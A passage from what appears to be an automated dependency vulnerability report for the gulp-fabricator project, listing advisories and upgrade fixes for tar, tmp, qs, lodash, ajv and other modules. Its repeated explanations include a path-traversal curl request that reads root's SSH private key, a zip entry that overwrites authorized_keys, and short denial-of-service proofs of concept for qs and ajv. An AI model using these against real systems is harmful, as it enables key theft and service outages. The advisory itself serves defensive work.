curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade postcss to version 8.5.18 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: qs
  • Introduced through: gulp-htmlhint@3.0.0 and gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › request@2.88.0 › qs@6.5.5
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › request@2.88.2 › qs@6.5.5
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › qs@6.5.5

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.

PoC


const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Remediation

Upgrade qs to version 6.14.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.

Remediation

Upgrade tar to version 7.5.19 or higher.

References

high severity

Infinite loop

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Infinite loop via the replace method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.

Remediation

Upgrade tar to version 7.5.18 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: tmp
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › tmp@0.0.33

Overview

Affected versions of this package are vulnerable to Directory Traversal via unsanitized input in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.

Note:

The fix for this issue was incomplete and led to a bypass, known as CVE-2026-49982. Users are recommended to upgrade to version 0.2.7 to get a complete fix for this issue.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tmp to version 0.2.6 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: tmp
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › tmp@0.0.33

Overview

Affected versions of this package are vulnerable to Directory Traversal due to the improper sanitization of non-string values in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.

Note:

This issue is due to an incomplete fix for CVE-2026-44705. Added _assertPath as a guard does not account for non-string values.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tmp to version 0.2.7 or higher.

References

high severity

Infinite loop

  • Vulnerable module: uri-js
  • Introduced through: gulp-htmlhint@3.0.0 and gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › request@2.88.0 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Infinite loop via the removeDotSegments function, which loops infinitely when a path segment begins with Unicode line separators (U+2028) or paragraph separators (U+2029). An attacker can trigger this by passing such a path to removeDotSegments directly, or through the normalize or resolve functions with IRI handling enabled, blocking the Node.js event loop indefinitely until heap exhaustion.

Remediation

There is no fixed version for uri-js.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: lodash
  • Introduced through: gulp-htmlhint@3.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › jshint@2.13.6 › lodash@4.17.23

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

Notes:

  1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

  2. This issue is due to the incomplete fix for CVE-2021-23337.

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

high severity

Arbitrary File Write

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to gulp-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both \ and / characters as path separators. However, \ is a valid filename character on posix systems.

By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location. This can lead to extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.

Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at FOO, followed by a symbolic link named foo, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but not from the internal directory cache, as it would not be treated as a cache hit. A subsequent file entry within the FOO directory would then be placed in the target of the symbolic link, thinking that the directory had already been created.

Remediation

Upgrade tar to version 6.1.7, 5.0.8, 4.4.16 or higher.

References

high severity

Arbitrary File Write

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to gulp-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic is insufficient when extracting tar files that contain two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 "short path" counterparts. A specially crafted tar archive can include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. This leads to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and extracting arbitrary files into that location.

Remediation

Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.

References

high severity

Arbitrary File Write

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to gulp-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain .. path portions, and resolving the sanitized paths against the extraction target directory.

This logic is insufficient on Windows systems when extracting tar files that contain a path that is not an absolute path, but specify a drive letter different from the extraction target, such as C:some\path. If the drive letter does not match the extraction target, for example D:\extraction\dir, then the result of path.resolve(extractionDirectory, entryPath) resolves against the current working directory on the C: drive, rather than the extraction target directory.

Additionally, a .. portion of the path can occur immediately after the drive letter, such as C:../foo, and is not properly sanitized by the logic that checks for .. within the normalized and split portions of the path.

Note: This only affects users of node-tar on Windows systems.

Remediation

Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.8 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ajv
  • Introduced through: gulp-sass-lint@1.4.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › eslint@2.13.1 › table@3.8.3 › ajv@4.11.8

Overview

ajv is an Another JSON Schema Validator

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper validation of the pattern keyword when combined with $data references. An attacker can cause the application to become unresponsive and exhaust CPU resources by submitting a specially crafted regular expression payload.

Note:

This is only exploitable if the $data option is enabled.

PoC

const Ajv = require('ajv');

// Vulnerable configuration — $data enables runtime pattern injection
const ajv = new Ajv({ $data: true });

const schema = {
  type: 'object',
  properties: {
    pattern: { type: 'string' },
    value: {
      type: 'string',
      pattern: { $data: '1/pattern' }  // Pattern comes from the data itself
    }
  }
};

const validate = ajv.compile(schema);

// Malicious payload — both the pattern and the triggering input
const maliciousPayload = {
  pattern: '^(a|a)*$',           // Catastrophic backtracking pattern
  value: 'a'.repeat(30) + 'X'    // 30 'a's followed by 'X' to force full backtracking
};

console.time('attack');
validate(maliciousPayload);       // Blocks the entire Node.js process for ~44 seconds
console.timeEnd('attack');

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ajv to version 6.14.0, 8.18.0 or higher.

References

high severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: decode-uri-component
  • Introduced through: gulp-sourcemaps@2.6.5, gulp@4.0.2 and others

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sourcemaps@2.6.5 › css@2.2.4 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sourcemaps@2.6.5 › @gulp-sourcemaps/identity-map@1.0.2 › css@2.2.4 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-lesshint@6.1.0 › lesshint@6.3.7 › globby@9.2.0 › fast-glob@2.2.7 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-nodemon@2.5.0 › gulp@4.0.2 › glob-watcher@5.0.5 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › glob-watcher@5.0.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › liftoff@3.1.0 › findup-sync@3.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp@4.0.2 › gulp-cli@2.3.0 › matchdep@2.0.0 › findup-sync@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › source-map-resolve@0.5.3 › decode-uri-component@0.2.2
